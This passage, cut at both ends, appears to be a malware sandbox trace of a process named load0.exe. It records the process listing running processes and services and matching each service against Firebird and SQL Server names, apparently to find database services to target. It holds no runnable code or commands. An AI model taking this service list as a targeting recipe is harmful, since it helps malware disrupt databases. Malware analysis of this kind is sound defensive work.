pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0272.869] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0272.869] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0272.870] lstrlenW (lpString="Memory Compression") returned 18 [0272.870] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0272.871] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0272.871] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0272.872] lstrlenW (lpString="sihost.exe") returned 10 [0272.872] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.872] lstrlenW (lpString="svchost.exe") returned 11 [0272.872] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0272.873] lstrlenW (lpString="taskhostw.exe") returned 13 [0272.873] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0272.874] lstrlenW (lpString="msoia.exe") returned 9 [0272.874] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.875] lstrlenW (lpString="explorer.exe") returned 12 [0272.875] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0272.876] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0272.876] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0272.877] lstrlenW (lpString="SearchUI.exe") returned 12 [0272.877] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0272.877] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0272.877] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.878] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0272.878] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0272.879] lstrlenW (lpString="load0.exe") returned 9 [0272.879] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.880] lstrlenW (lpString="dllhost.exe") returned 11 [0272.880] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0272.880] lstrlenW (lpString="load0.exe") returned 9 [0272.881] Process32NextW (in: hSnapshot=0x1074, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0272.881] CloseHandle (hObject=0x1074) returned 1 [0272.881] Sleep (dwMilliseconds=0x1f4) [0273.454] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64708 [0273.455] EnumServicesStatusExW (in: hSCManager=0x3f64708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0273.456] GetLastError () returned 0xea [0273.456] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3faf028 [0273.456] EnumServicesStatusExW (in: hSCManager=0x3f64708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3faf028, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3faf028, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0273.457] CloseServiceHandle (hSCObject=0x3f64708) returned 1 [0273.457] lstrlenW (lpString="Appinfo") returned 7 [0273.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0273.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0273.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0273.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0273.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0273.458] lstrlenW (lpString="AppXSvc") returned 7 [0273.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0273.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0273.458] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0273.458] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0273.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0273.458] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0273.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.458] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0273.458] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0273.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0273.458] lstrlenW (lpString="Audiosrv") returned 8 [0273.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0273.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0273.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0273.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0273.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0273.458] lstrlenW (lpString="BFE") returned 3 [0273.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0273.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0273.458] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0273.459] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0273.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0273.459] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0273.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0273.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0273.459] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0273.459] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0273.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0273.459] lstrlenW (lpString="CDPSvc") returned 6 [0273.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0273.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0273.459] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0273.459] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0273.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0273.459] lstrlenW (lpString="ClickToRunSvc") returned 13 [0273.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0273.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0273.459] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0273.459] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0273.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0273.459] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0273.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0273.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0273.459] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0273.459] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0273.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0273.459] lstrlenW (lpString="CryptSvc") returned 8 [0273.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0273.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0273.460] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0273.460] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0273.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0273.460] lstrlenW (lpString="DcomLaunch") returned 10 [0273.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.460] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0273.460] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0273.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0273.460] lstrlenW (lpString="DeviceAssociationService") returned 24 [0273.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0273.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0273.460] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0273.460] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0273.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0273.460] lstrlenW (lpString="Dhcp") returned 4 [0273.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0273.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0273.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0273.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0273.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0273.460] lstrlenW (lpString="Dnscache") returned 8 [0273.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0273.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0273.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0273.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0273.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0273.461] lstrlenW (lpString="DPS") returned 3 [0273.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0273.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0273.461] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0273.461] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0273.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0273.461] lstrlenW (lpString="DusmSvc") returned 7 [0273.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0273.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0273.461] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0273.461] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0273.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0273.461] lstrlenW (lpString="EventLog") returned 8 [0273.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0273.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0273.461] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0273.461] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0273.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0273.461] lstrlenW (lpString="EventSystem") returned 11 [0273.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0273.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0273.461] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0273.461] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0273.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0273.461] lstrlenW (lpString="FontCache") returned 9 [0273.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0273.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0273.462] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0273.462] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0273.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0273.462] lstrlenW (lpString="gpsvc") returned 5 [0273.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0273.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0273.462] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0273.462] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0273.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0273.462] lstrlenW (lpString="iphlpsvc") returned 8 [0273.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.462] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0273.462] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0273.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0273.462] lstrlenW (lpString="KeyIso") returned 6 [0273.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0273.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0273.462] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0273.462] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0273.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0273.462] lstrlenW (lpString="LanmanServer") returned 12 [0273.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0273.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0273.462] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0273.463] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0273.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0273.463] lstrlenW (lpString="LanmanWorkstation") returned 17 [0273.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.463] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0273.463] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0273.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0273.463] lstrlenW (lpString="lfsvc") returned 5 [0273.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0273.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0273.463] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0273.463] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0273.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0273.463] lstrlenW (lpString="lmhosts") returned 7 [0273.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0273.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0273.463] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0273.463] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0273.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0273.463] lstrlenW (lpString="LSM") returned 3 [0273.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0273.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0273.463] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0273.463] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0273.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0273.463] lstrlenW (lpString="MpsSvc") returned 6 [0273.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0273.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0273.464] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0273.464] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0273.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0273.464] lstrlenW (lpString="NcbService") returned 10 [0273.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0273.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0273.464] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0273.464] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0273.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0273.464] lstrlenW (lpString="netprofm") returned 8 [0273.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0273.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0273.464] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0273.464] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0273.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0273.464] lstrlenW (lpString="NgcSvc") returned 6 [0273.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0273.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0273.464] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0273.464] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0273.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0273.464] lstrlenW (lpString="NlaSvc") returned 6 [0273.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0273.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0273.465] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0273.465] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0273.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0273.465] lstrlenW (lpString="nsi") returned 3 [0273.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0273.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0273.465] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0273.465] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0273.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0273.465] lstrlenW (lpString="PcaSvc") returned 6 [0273.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0273.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0273.465] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0273.465] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0273.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0273.465] lstrlenW (lpString="PlugPlay") returned 8 [0273.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0273.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0273.465] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0273.465] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0273.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0273.465] lstrlenW (lpString="Power") returned 5 [0273.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0273.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0273.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0273.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0273.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0273.466] lstrlenW (lpString="ProfSvc") returned 7 [0273.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0273.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0273.466] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0273.466] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0273.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0273.466] lstrlenW (lpString="RpcEptMapper") returned 12 [0273.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.466] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0273.466] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0273.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0273.466] lstrlenW (lpString="RpcSs") returned 5 [0273.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0273.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0273.466] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0273.466] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0273.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0273.466] lstrlenW (lpString="SamSs") returned 5 [0273.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0273.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0273.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0273.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0273.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0273.466] lstrlenW (lpString="Schedule") returned 8 [0273.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0273.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0273.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0273.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0273.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0273.467] lstrlenW (lpString="SecurityHealthService") returned 21 [0273.467] lstrcmpiW 